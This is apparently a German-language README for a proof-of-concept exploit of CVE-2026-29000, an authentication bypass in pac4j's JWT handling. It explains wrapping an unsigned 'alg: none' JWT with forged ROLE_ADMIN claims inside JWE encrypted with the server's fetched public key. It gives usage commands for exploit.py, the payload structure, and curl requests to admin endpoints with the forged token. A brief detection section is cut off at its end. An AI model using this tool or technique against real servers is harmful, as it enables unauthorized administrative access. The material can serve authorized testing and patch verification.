CVE-2026-29000: pac4j JWT-Authentifizierungs-Umgehung PoC

Proof of Concept für CVE-2026-29000 – Eine kritische Authentifizierungs-Umgehungsschwachstelle in der pac4j-JWT-Implementierung, die es Angreifern ermöglicht, Admin-Token ohne gültige Signatur zu fälschen.

---

⚠️ HAFTUNGSAUSSCHLUSS

Dieses Tool dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Der Autor übernimmt KEINE Verantwortung für Missbrauch, Schäden oder illegale Verwendung dieses Exploits.

• Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen ILLEGAL
• Benutzer müssen vor Tests eine ausdrückliche schriftliche Genehmigung einholen
• Der Autor haftet NICHT für Folgen, die aus dem Missbrauch dieses Tools entstehen
• Dies ist ein Sicherheitsforschungs- und Bildungswerkzeug – nutzen Sie es ethisch und legal

---

📋 Überblick über die Schwachstelle

Diese Schwachstelle nutzt einen Fehler im JWT-Authentifizierungsmechanismus von pac4j aus, bei dem die Bibliothek:

1. Unsignierte Token mit alg: "none" im JWT-Header akzeptiert
2. JWE-umhüllte Token vertraut, ohne die innere JWT-Signatur ordnungsgemäß zu validieren
3. Rollenanhebung durch benutzerdefinierte Claims in der unsignierten Nutzlast ermöglicht

Ein Angreifer kann ein unsigniertes JWT mit beliebigen Claims (wie role: "ROLE_ADMIN") erstellen, es in einem JWE-Container mit dem öffentlichen Schlüssel des Servers verschlüsseln und unbefugten Zugriff auf Admin-Funktionen erhalten.

---

🎯 Voraussetzungen für eine erfolgreiche Ausnutzung

Anforderungen auf Serverseite

Damit dieser Exploit erfolgreich ist, muss der Zielserver ALLE der folgenden Bedingungen erfüllen:

1. Erreichbarer JWKS-Endpunkt

Der Server muss seine öffentlichen Schlüssel über einen dieser Endpunkte bereitstellen:

• /.well-known/jwks.json (standardmäßiger OAuth/OIDC-Endpunkt)
• /api/auth/jwks (benutzerdefinierter Endpunkt)

Warum: Der Exploit ruft automatisch den öffentlichen Schlüssel des Servers ab, um das gefälschte JWE-Token zu verschlüsseln.

2. Akzeptanz des JWT-Rollen-Claims

Der Server muss:

• Einen role-Claim in der JWT-Nutzlast akzeptieren und verarbeiten
• Mindestens eine Berechtigungsstufe haben, die erweiterten Zugriff gewährt (z. B. ROLE_ADMIN)
• Die JWT-Signatur nicht validieren oder unsignierte Token zulassen

Häufige Rollen:

• ROLE_ADMIN – Vollständiger Administrationszugriff
• ROLE_USER – Standard-Benutzerzugriff
• Benutzerdefinierte Rollen je nach Anwendung

3. Verarbeitung von JWE-Token

Der Server muss:

• JWE (verschlüsselte) Token als gültige Authentifizierung akzeptieren
• Das innere unsignierte JWT entschlüsseln und verarbeiten
• Die Signatur des inneren JWT nicht überprüfen oder den Algorithmus kontrollieren

4. Verwundbare pac4j-Konfiguration

Die Anwendung muss pac4j verwenden mit:

• Algorithmus auf "none" gesetzt oder unzureichender Algorithmus-Validierung
• JWE-Verschlüsselung aktiviert, aber Signaturprüfung des inneren JWT deaktiviert
• Keiner zusätzlichen Token-Validierung über die JWE-Entschlüsselung hinaus

---

🛠️ Installation

Anforderungen

• Python 3.7+
• Erforderliche Pakete: requests, jwcrypto

Einrichtung

# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Install dependencies
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
jwcrypto>=1.4.0

---

🚀 Verwendung

Grundlegende Verwendung

python3 exploit.py <TARGET_URL>

Beispiel:

python3 exploit.py http://vulnerable-app.local:8080

Das Skript wird:

1. Versuchen, JWKS von Standard-Endpunkten abzurufen
2. Ein unsigniertes JWT mit role: "ROLE_ADMIN" erzeugen
3. Es mit dem öffentlichen Schlüssel des Servers verschlüsseln
4. Ein JWE-Token ausgeben, das zur Authentifizierung bereit ist

Erweiterte Optionen

Benutzerdefinierter Benutzername

python3 exploit.py http://vulnerable-app.local:8080 --username john

Benutzerdefinierte Rolle

python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

JWKS manuell bereitstellen

Wenn der JWKS-Endpunkt nicht öffentlich zugänglich ist, stellen Sie den JWK manuell bereit:

python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

Vollständiges Beispiel mit allen Optionen

python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

---

📤 Verwendung des generierten Tokens

Der Exploit gibt ein JWE-Token im folgenden Format aus:

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

Authentifizierte Anfragen stellen

Verwenden Sie das Token in HTTP-Anfragen, um auf geschützte Endpunkte zuzugreifen:

# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Beispielanfrage mit Autorisierungs-Header

curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

---

🔍 So funktioniert der Exploit

Schritt 1: Unsigniertes JWT erstellen

header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Username
    "role": "ROLE_ADMIN",        # Privilege level
    "iss": "principal-platform", # Issuer
    "iat": 1234567890,          # Issued at
    "exp": 1234571490           # Expiration (1 hour)
}

Das JWT wird ohne Signatur (alg: "none") erstellt, was normalerweise ungültig ist, aber von verwundbaren Servern akzeptiert wird.

Schritt 2: JWKS des Servers abrufen

Der Exploit fragt ab:

1. /.well-known/jwks.json (OAuth/OIDC-Standard)
2. /api/auth/jwks (benutzerdefinierter Endpunkt)

Dies ruft den für die Verschlüsselung benötigten RSA-öffentlichen Schlüssel des Servers ab.

Schritt 3: JWT als JWE verschlüsseln

Das unsignierte JWT wird verschlüsselt mit:

• Algorithmus: RSA-OAEP-256 (asymmetrische Verschlüsselung)
• Verschlüsselung: A128GCM (authentifizierte Verschlüsselung)
• Schlüssel: Öffentlicher Schlüssel des Servers (verhindert Manipulation)

Dies erzeugt ein JWE-Token, das der Server entschlüsseln kann, dessen innere Signatur jedoch nicht geprüft wird.

Schritt 4: Das Token verwenden

Das JWE-Token wird in den Authorization-Header eingefügt:

Authorization: Bearer <JWE_TOKEN>

Der verwundbare Server entschlüsselt es und extrahiert das unsignierte JWT, wobei er den Claims vertraut, ohne die Signatur zu überprüfen.

---

🔐 Angriffskette

Unsigned JWT (alg:none)
         ↓
  Wraps in JWE (with server's public key)
         ↓
  Server receives JWE token
         ↓
  Server decrypts JWE
         ↓
  Extracts inner unsigned JWT
         ↓
  ❌ Server does NOT verify signature
         ↓
  ✅ Accepts claims as valid (role: ROLE_ADMIN)
         ↓
  Attacker has admin access!

---

⚠️ Erkennung und Indikatoren

Serverseitige Indikatoren für die Schwachstelle

1. Offengelegter JWKS-Endpunkt

   • Prüfen Sie, ob /.well-known/jwks.json oder /api/auth/jwks öffentlich zugänglich ist

2. JWT-Validierungsprotokolle

   • Achten Sie auf Protokolle, die Token mit alg: "none" akzeptieren
   • Warnungen über akzeptierte unsignierte Token

3. Konfigurationsprüfung

   • Prüfen Sie, ob die Signaturprüfung von pac4j deaktiviert ist
   • Überprüfen Sie die JWE-Entschlüsselungseinstellungen

Netzwerk-Indikatoren